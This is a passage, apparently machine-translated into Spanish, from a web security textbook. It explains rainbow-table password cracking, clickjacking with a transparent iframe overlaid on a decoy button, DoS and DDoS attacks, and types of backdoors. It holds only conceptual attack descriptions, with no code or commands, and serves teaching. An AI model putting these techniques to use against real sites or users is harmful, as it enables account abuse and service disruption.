Para mejorar la tasa de éxito del ataque, tener una tabla arcoíris con datos masivos se convierte en una condición indispensable. Por ejemplo, en el sitio web de Free Rainbow Tables (http://www.freerainbowtables.com/en/tables2/), se muestra una tabla compuesta por valores hash MD5 correspondientes a cadenas de caracteres de 1 a 8 dígitos en disposición completa en mayúsculas. y letras minúsculas y números. Una tabla de arco iris, que tiene un tamaño de aproximadamente 1050 gigabytes.
Obtención de la clave
Cuando se utiliza el método de cifrado de clave compartida para cifrar los datos de la contraseña, si la clave utilizada para el cifrado se puede obtener por algún medio, los datos de la contraseña también se pueden descifrar.
Vulnerabilidades en el algoritmo de cifrado
Teniendo en cuenta las posibles lagunas en el algoritmo de cifrado en sí, también es un método factible utilizar estas lagunas para intentar descifrar. Pero no es fácil encontrar las lagunas de esos algoritmos de cifrado ampliamente utilizados, por lo que es extremadamente difícil y no fácil lograrlo. Sin embargo, los algoritmos de cifrado implementados de forma independiente por los desarrolladores de aplicaciones web no deben haber sido completamente verificados y todavía existen lagunas.
11.5.2 Clickjacking
Clickjacking (Clickjacking) se refiere al uso de botones o enlaces transparentes para hacer trampas y cubrirlas en páginas Web. Un ataque que luego engaña al usuario para que haga clic en ese enlace para acceder al contenido sin su conocimiento. Este comportamiento también se conoce como UIRedressing.
Las páginas web que han sido configuradas con trampas no tienen contenido inapropiado en la superficie, pero ya tienen enlaces incrustados en los que quieren que los usuarios hagan clic. Cuando el usuario hace clic en el botón transparente, en realidad hace clic en la página iframe que tiene elementos de atributos transparentes especificados.
Ejemplo de ataque de secuestro de clics
A continuación se toma la función de cierre de sesión de un sitio web SNS como ejemplo para explicar los ataques de secuestro de clics. Con esta función de cierre de sesión, los usuarios registrados de SNS solo necesitan hacer clic en el botón de cierre de sesión para cerrar sesión en su membresía en el sitio web de SNS.
Los atacantes colocan trampas en las páginas web en las que se espera que los usuarios hagan clic. El botón JUGAR en la página del juego de pesca que se muestra arriba es un ejemplo de este tipo de trampa. En la página web manipulada, la página de función de cierre de sesión de SNS del objetivo se superpondrá en la página web del juego como una capa transparente. Al anular, asegúrese de que el botón REPRODUCIR sea coherente con la ubicación de la página del botón de cerrar sesión.
11.5.3 Ataque DoS
El ataque DoS (ataque de denegación de servicio) es un ataque que detiene la ejecución de servicios. A veces también se le denomina ataque de parada de servicio o ataque de denegación de servicio. Los objetos de los ataques DoS no se limitan a los sitios web, sino que también incluyen dispositivos y servidores de red.
Existen principalmente los siguientes dos métodos de ataque DoS.
El uso centralizado de solicitudes de acceso provoca una sobrecarga de recursos y, cuando se agotan, el servicio se detiene.
Detener el servicio aprovechando un agujero de seguridad.
Entre ellos, el ataque DoS que se concentra en las solicitudes de acceso consiste simplemente en enviar una gran cantidad de solicitudes legítimas. Es difícil para el servidor distinguir qué es una solicitud normal y qué es una solicitud de ataque, por lo que es difícil prevenir ataques DoS.
Un ataque DoS lanzado por varias computadoras se denomina ataque DDoS (ataque de denegación de servicio distribuido). Los ataques DDoS suelen utilizar esas computadoras infectadas como plataforma de lanzamiento para los atacantes.
11.5.4 Programa de puerta trasera
El programa de puerta trasera (Backdoor) se refiere a la entrada oculta de la configuración de desarrollo, que puede usar funciones restringidas sin seguir los pasos normales. La utilización de la puerta trasera permite el acceso a funciones que de otro modo estarían restringidas. Los programas de puerta trasera comunes se dividen en los siguientes tres tipos.
El programa de puerta trasera invocado como Debug durante la etapa de desarrollo. El
programa de puerta trasera implantado por el desarrollador para su propio beneficio. El
programa de puerta trasera establecido por el atacante a través de un método determinado.
Se puede descubrir una puerta trasera implantada monitoreando el estado de los procesos y las comunicaciones.
Sin embargo , los programas de puerta trasera instalados en las aplicaciones web suelen ser difíciles de encontrar porque no se diferencian mucho del uso normal.